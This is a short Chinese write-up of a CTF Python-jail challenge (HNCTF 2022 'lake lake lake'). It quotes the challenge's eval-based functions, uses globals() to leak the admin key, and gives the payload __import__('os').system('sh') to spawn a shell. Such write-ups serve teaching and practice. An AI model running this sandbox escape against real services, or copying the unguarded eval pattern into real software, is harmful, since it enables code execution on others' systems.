【misc】[HNCTF 2022 Week1]lake lake lake(JAIL) --沙盒逃逸，globals函数泄露全局变量

查看附件内容

这道题的逻辑就是可以让你输入1或者2，进入各自的函数去执行功能

func函数：

def func():

    code = input(">")

    if(len(code)>9):

        return print("you're hacker!")

    try:

        print(eval(code))

    except:

        pass

有长度限制，接着再来看backdoor函数：

def backdoor():

    print("Please enter the admin key")

    key = input(">")

    if(key == fake_key_var_in_the_local_but_real_in_the_remote):

        code = input(">")

        try:

            print(eval(code))

        except:

            pass

    else:

        print("Nooo!!!!")

这里没有长度限制，但是得输入key，和设置的key进行对比，可以发现，这个key其实是全局变量，可以再func函数中输入globals()泄露全局变量的值，输入试试

这里已经打印出了key的值，然后在backdoor函数输入这个key，然后再输入__import__('os').system('sh')就可以getshell

 key的值：a34af94e88aed5c34fb5ccfe08cd14ab